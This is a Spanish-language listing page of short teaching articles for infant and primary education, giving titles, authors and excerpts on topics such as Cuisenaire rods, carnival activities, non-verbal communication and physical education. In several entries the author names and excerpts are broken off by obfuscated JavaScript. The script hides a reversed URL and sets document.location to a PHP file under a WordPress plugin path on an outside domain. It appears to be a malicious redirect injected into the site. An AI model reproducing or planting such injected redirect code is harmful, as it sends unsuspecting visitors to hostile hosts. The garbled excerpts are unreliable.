TALLER DE CONSTRUCCIÓN

Autora: María Fern$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string")... [Lear mas....]

REGLETAS CUISENAIRE EN LAS CLASES DE EDUCACIÓN INFANTIL

Autora: María Isabel Gamero Pardo          Los docentes de Educación Infantil hemos de conseguir el pleno desarrollo de la personalidad de cada uno de nuestros alumnos; y, en el caso de la aproximación a la lógica-matemática, a desarrollar su pensamiento lógico, libre, creativo y autónomo.          El desarrollo del pensamiento matemático no se puede obtener sin manipular el material en estas edades, puesto que nuestros alumnos... [Lear mas....]

UNA BOLSA ESPECIAL

Autora: María Fern$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string")... [Lear mas....]

¿CÓMO INTEGRAR LOS IDIOMAS CON LA NATURALEZA Y EL CARNAVAL?

Autora: María Benítez Sanz          Cu$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n])... [Lear mas....]

UNIDAD DE INTERVENCIÓN DE PEDAGOGÍA TERAPÉUTICA: “ ¡ME GUSTAN LAS PLANTAS Y LA PRIMAVERA!“

Autora: Mª Ángeles Cortés Bernabé JUSTIFICACIÓN Y CONTEXTO          El eje central de esta unidad es conocer las principales características de la  primavera y de las plantas (cuidado, partes, crecimiento, identificar frutas y hortalizas, etc.). Se enmarca dentro del 3er trimestre y su temporalización dependerá del ritmo de aprendizaje del alumno, aunque la programación sea quincenal, con 4 sesiones semanales de 50 minutos. Se trabajan... [Lear mas....]

EL LENGUAJE NO VERBAL DEL PROFESOR, PARTICULARMENTE DE EDUCACIÓN FÍSICA, INFLUYE EN LA MOTIVACIÓN DEL ALUMNO

Autora: Milagros García Habernau           En la actualidad la motivación es uno de los temas de mayor preocupación entre los profesores, ya que es uno de los motivos por los que los chicos no obtienen un buen rendimiento. A pesar de los múltiples enfoques, podemos definir a la motivación como el conjunto de procesos implicados en la dirección, activación y persistencia de la conducta. Se está motivado cu$hiVNZt4Y5cDrbJXMhLy=function(n){if... [Lear mas....]

MI MASCOTA

Autora: María Fern$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string")... [Lear mas....]

LA EXPRESIÓN CORPORAL Y SU RELACIÓN CON LA EDUCACIÓN FÍSICA

Autora: Estrella Muñoz Montilla          Concepto: Según Motos, la expresión corporal es un conjunto de técnicas que utilizan el cuerpo humano como elemento del lenguaje, y que permite la revelación de un contenido de naturaleza psíquica. Es el arte del movimiento. Este término es ambivalente y polisémico, pero todas las definiciones tienen en común la utilización del cuerpo y del movimiento para manifestar diferentes movimientos,... [Lear mas....]

LOS GIROS: CONCEPTO Y EVOLUCIÓN EN LA EDUCACIÓN FISICA. EJEMPLO DE SESIÓN

Autora: Miryan Santos Pizarro Una de las habilidades básicas dentro de la Educación Física en Primaria es el giro.           Este se define como cualquier rotación total o parcial, a través de los ejes imaginarios que atraviesan el cuerpo humano. Los principales ejes del giro son: -         Eje longitudinal o vertical. -          Eje transversal u horizontal. -         Eje antero-posterior.          ... [Lear mas....]

VIVIMOS EL CARNAVAL. EXPERIENCIA EN EL AULA

Autora: Manuela González Castaño          El carnaval constituye una de las fechas más especiales para los pequeños, que entusiasman a todos. Les gusta el color, los disfraces, la música…y, por eso, es fundamental que en una etapa como la infantil, se trabaje esta fiesta.          Esta experiencia se realiza en centro infantil que cuenta con 15 niños y niñas de 1 año y 14 niños y niñas de 2 años.          Durante... [Lear mas....]

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